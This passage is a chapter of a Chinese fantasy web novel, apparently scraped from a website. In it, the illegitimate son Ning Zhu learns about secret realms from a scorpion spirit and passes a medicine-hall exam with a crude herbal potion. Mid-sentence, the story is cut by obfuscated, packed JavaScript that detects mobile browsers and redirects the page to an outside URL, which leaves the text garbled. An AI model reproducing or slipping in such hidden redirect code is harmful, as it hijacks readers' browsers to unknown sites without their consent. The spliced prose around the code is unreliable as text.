“你小子感知怎么那么敏锐,”蝎子“啧”的一声,宁竹仿佛看到了它的蝎尾不耐烦地甩动着,“你不是说你上次感知到了震颤吗,我想了下,那会儿应该是我在蜕壳进化,你们那个秘境太小了,容不下我。” 宁竹迅速打断他:“等会儿。” “你说……秘境?” “那不然?”蝎子疑惑了,它甩尾又甩尾,“幼崽,难道你不知道?那你们是怎么闯进那片秘境的?” “……郁苍谷是宁家的领地。” “噢……原来是有主秘境,难怪这么排斥我。”蝎子摇头,“你刚刚看到的裂缝,是秘境入口——说出口也行。感知到什么了吗?” “不安……”宁竹回忆了下,他在直视裂隙时,心中涌起的情绪,“还有不服。” 蝎子又诧异了:“你小子感知怎么这么敏锐?啧,你不会是寻宝兽化人吧?” 它所说的寻宝兽一类鼠类魔兽,擅长感知灵力波动,本性趋利避害,大部分有实力的宗族都会培养一些,用于寻宝。不出意外的话……宁家也应当有。 宁竹心下笑了一声,没接它的话。 蝎子倒也只是随口一提,没打算听宁竹和它辩驳,它接着道:“无主秘境通常是强者陨落后、因为机缘巧合引动的奇迹,通常会带有死者生前的一部分意志、或者说执念。” “修为越强,执念越深,有些人愿意把自己的灵力留下泽福后来者,自然也有人将每一个闯入者视作窃贼,这种秘境自然不愿被人支配。” “如此看来,你方才见到的那个,是后者。” 原来如此。 蝎子虽已只剩一缕魂魄寄居宁竹身体里,但终究生前是见多识广的高阶魔兽,他短短几句话,便令得宁竹对整个世界的认知有了更一步的提升。 少年忽的有些躁动,他仿佛看见了一张辽阔的地图在他眼前展开,可他抬起眼,目之所及是宁家高耸的围墙。 “驯化秘境是有些难,但对你们家来说,应该也难不到哪去,毕竟……” 毕竟,宁家可是有着四位、能将灵境强者随手斩杀的长老坐镇啊。 宁竹低头轻笑了声。长老们驯服秘境、吃下大部分秘境至宝之后,剩下的,就是宁家小辈们的修行场了。如此资源,或许身怀灵脉的宁竹,最少也能分上一碗汤。甚至——如果他想,如果他愿意努力跻身宁家内族的核心行列,他也能剜下一块肉去啃食。 ——只要他留在宁家。 . 宁竹却不去想那些缥缈的未来,他只是想,先前那个被称为“方兄”的男人所说的话。 “垄断长涯界的医疗资源”…… 长涯界是宁家所处的地界,宁竹清楚地记得,这块地界,并不由宁家一家独大,只是宁家在医疗上颇有建设,大抵……是挤兑了其他家族的医术发展空间? 但方家…… 长涯界,有这家吗? 他思索着,蝎子却突然断开了链接,少年心下一顿,他抬头,大长老已然归来。 “长老!” 人群呼喊一声,大长老笑呵呵地轻抚长须,点头就当做了回应。他环顾台下,浓厚的灵力裹挟着他的话语送出,整片广场上便回荡起他的声音: “孩子们,你们做得很好。” “我很惊喜你们的成长,临危不乱、行事果决、时机判断准确,你们已然具有了一名医者应有的品性。” “你们都是我医药阁骄傲的学子。” 长老环顾着台下,满意地看着少年们激动的神色,他顿了顿,又含笑宣布:“无论这场考核成绩如何,孩子们,记住今天你们所做的一切。” “现在,让我们回归正题。” “来吧!让我看看你们的成果究竟如何。” 台下不少人都为之握紧了拳,他们目光紧紧跟着排队将玉盒端上阁楼的侍者,而长老身侧的常侍已上前一步,准备好了替长老检验药剂。 阁楼之下,香炉之前,一道蓝色的光幕展开,紧接着,是先前两试之中的合格与不合格的排序。那光幕很大、大到站在最后一排的人,也能清楚看见上方浮现的字。 原本少年们心中燃起的激动瞬间是被浇熄了—— 当场判卷,当场排序,这和公开处刑有什么差别?! 登时几个明知自己必淘汰无疑的弟子煞白了脸,连脊背都微微蜷缩起来,不时往后望去,似乎在想怎么逃窜来得合理。 但显然这也来不及了,判卷已然开始。 常侍拿出第一瓶药剂,分出一滴在身前的水灵力中释开,展示给重新坐回太师椅上的长老阅卷。 温和的药香若有若无地飘逸广场上,长老微微颔首,常侍便将整瓶药剂倒入水灵力所化的水液之中,接着,那充满了药液的灵力飘向众人身后瑟瑟发抖的魔兽。 有人好奇地回头去望,便见得水液裹在它的伤口上,顿时,脓液肉眼可见地化去了不少。 与此同时,宁轲的名字亮起。 这是通过了的意思。 “不愧是长老亲传,果然是满分答卷……” 能直接用于给魔兽治疗,宁轲所交的药剂,无疑是可以当做标准答案去参考了。 宁轲的成功却被归功于长老亲传的身份,宁竹闻言微微皱眉,可被注视的人却分毫不觉得这有何不妥,他只是平静地站在最前排、最中央,受着身后人投来的,或羡慕或崇拜的视线。 判卷还在继续,又有几个人的名字亮起,但再没有一个人的药剂被直接作用到魔兽身上,这大抵是还能改进的意思。药剂被保留下来,重新放入玉盒后,又被端了下去。 宁巫心头紧张,她的确不能确信自己是否通过,她下意识地去看另一个与她一样的外来者,却见得宁竹神色不改,一副胸有成竹的模样。 ……他为什么这么笃定? 宁巫不解,但宁竹的安定终究还是感染了她。……她有宁轲亲自教导,没理由她过不了……她深呼吸,重新将视线投回阁楼之上。 又几人的名字亮起,又几人的名字暗去,一个新的玉盒被端上,常侍平静地打开药剂,一小滴分出的药剂溶于灵力中,紧接着,他的神色顿时变了。 药香—— 不是缥缈的、若有若无的,而是浓郁而厚重的香气顿时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15139505|150903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逸散到整片广场之上,连那只被灵阵压制的魔兽闻着药香都失控地挣扎起来,一双兽瞳里涌出了贪婪与渴望。 “好香!” “这、这是谁的?难道是宁轲……” 他们下意识把这浓郁的香气和上等的药剂挂钩,下意识地就将此药剂的炼制人当做了宁轲,那出声者的声音渐弱下去,他也意识到了宁轲的药剂已经被审批过了。 有人闻声又看了宁轲一眼,少年挺直的脊背没有丝毫改变,可若是能看见他的表情,便也能看见他眼中的惊疑。 是谁? 宁轲同样疑惑,他目光直直地盯着常侍手中那团水液,也企图看见,那水液之后,长老的神情。 是对这个人的惊喜吗?是对宁轲没能做到此的失望吗? “……谁炼的?” 长老问出所有人的疑问,于是众人眼睛一亮,顿时好奇地四处打量。 宁竹举起了手。 顿时,还有些低声躁动的人群安静了下来,所有人不可置信一般地看着这个拿了特邀资格的外来者,他们的目光在宁竹身上汇聚,又有人的目光从宁竹转到了宁轲身上,似乎在等待着一出好戏。 但更多是,还是疑问—— “怎么是他……?” 怎么……怎么会是这个离群的私生子? 浓郁的药香依旧在广场上飘荡,宁轲的眉头皱了起来——他破天荒的,感觉到了恐惧。 难不成……宁竹对药学的天赋,远在他之上? “简直胡闹!” 众人心底猜测纷纷,对这鲜少接触的宁竹已然有了一层神秘的滤镜,甚至有不少人开始把宁竹和宁轲比较起来,长老却重重冷哼一声,对这瓶药剂,连带着炼制者一并责骂! 众人皆是被长老这一句惊得浑身一激。 他们大脑空白一瞬,连着宁轲也有些惊疑不定,众人齐刷刷地望向长老。 水液被常侍收起转到旁侧,长老眉头紧蹙,不悦的神色肉眼可见,他冷冷地瞥向已经将手放下的宁竹,他冷哼道:“奇叶通髓草、针花镇灵果、抱石醉香铃……光是一阶灵植就用了足足五种!” “纯粹的一锅炖,连药剂都算不上,如此粗制滥造、投机取巧!宁竹,你说我当不当判你通过?” 长老双目紧盯着宁竹,将他那纯粹依靠灵植本身的药性、而非药材搭配而出的药剂批判得一无是处。 重压下已有人双腿打颤,可被长老针对的少年却脊背直挺,他平静地辩驳: “——有效。” “什么?”长老反倒被他这没头没尾的一句回得有些疑惑,他反问,宁竹便解释。 “试题是为魔兽解毒,我选的五种灵植,无一不能解它的毒。” “简单,直接,有效。既然试题里没有规定用药范围,那我有何不妥?” ——我有何不妥? 众人皆是被宁竹这大不敬的反驳震得目瞪口呆,这是他们第一次见得有人敢如此对大长老说话。 可顺着宁竹的话去思考—— 是的,试题并没有规定不许使用灵植。 一时间便有人脸色骤变,似乎在为自己没有想到如此解题之法懊恼,但更多的还是惊疑——这算不算钻了空子?这样钻空子的方式……长老认吗? 若不认,那算长老随意改变试题,这是失了公信力;但若认……莫不成,真要放这么一个投机取巧的人进灵植院? 长老居高临下地盯着台下这个叛逆的私生子,而宁竹浑然不惧,只抬眼和长老对视着。 片刻,长老松了口:“他前二试,成绩如何?” 常侍立即答道:“大长老,都合格了。” “哼……”大长老自鼻腔里呛出一声不屑的冷哼,他挥挥手,那瓶几乎没有经过任何调配,纯靠灵植本身药性发挥的“药剂”便融入他的灵力之中,重重地砸在那魔兽身上,“谅你是外来者,不懂规矩,宁竹,这一试,我算你通过。” 宁竹抱拳行礼,却没将那句众人所预料的“谢过大长老”说出口。 “这点礼数都不懂,私生子果然就是私生子……” 谁低声阴阳了一句,宁竹浑然不在意,他只平静地站着。 达成目的,不论过程——何况这本就是一条可行的路。如此三试已过,宁竹全部合格,他要进入医药阁的目的也就达成了。宁竹垂下的手悄然握拳。他面上再怎么漠然,他也清楚自己这一出是纯粹在赌。 暴露自己用毒的事实同样是赌,但与之相比,投机取巧总不会给他带来人身安全方面的风险。两者相害取其轻,宁竹一向明白这种道理。 所幸。 他赌赢了。 少年缓缓出了一口气,他回过头,那只受了药剂沐浴的魔兽脸上尽是餍足之色,后它肢腐烂的伤口也已经开始愈合。 . 这一小段插曲最终还是被带过,宁竹的名字在光幕上亮起,而试炼审批还在进行着。 宁巫的药剂同样通过了审批,如此,两位拿了特邀资格的外来者三试全过,便让那些受了医药阁长时间培养、却没能拿到全合格的学子脸上挂不住的臊红。 最终光幕上只有一半人的名字还亮着,剩下的一半中甚至还有几个三试全不过的,更是恨不得找个地缝钻进去,好在两个外来者足够高调,吸引了太多的目光,才令得他们不那么受注视。 宁竹领了属于医药阁的身份牌,被告知两日后前来听课,似乎是怕宁竹这个缺乏常识的私生子又搞出什么鬼动静来,常侍甚至指派了一个侍者去给宁竹讲讲规章制度,下午就结束的试炼,生生给宁竹拖到日落才肯放他离开。 宁竹无语,且无力。 他摇头走出医药阁的大门,不知等了多久的宁长青一见他就笑了,少年挥起手:“宁竹,这边!” 宁竹愣了下,他下意识问:“你们怎么来了?” “来看你狠狠打宁轲的脸啊!”宁长青兴奋地摩拳擦掌,想来是从熟识的医药阁师兄那听闻了试炼上的事,“爽死了,宁竹,你早说你这么能打啊!” 他几个迈步冲上去,勾住了宁竹的肩,很是神清气爽地带着他往两个女生站的方向走去:“走走,你今天都还没吃过饭吧?我们去食堂聊!” 宁兰之眉眼弯弯:“今天可是发生了不少的事呢。” 宁星云撇嘴:“让我们等你这么久,今晚你得请客啊。” “行。”宁竹笑起来,“正好,我也有很多疑问想知道。”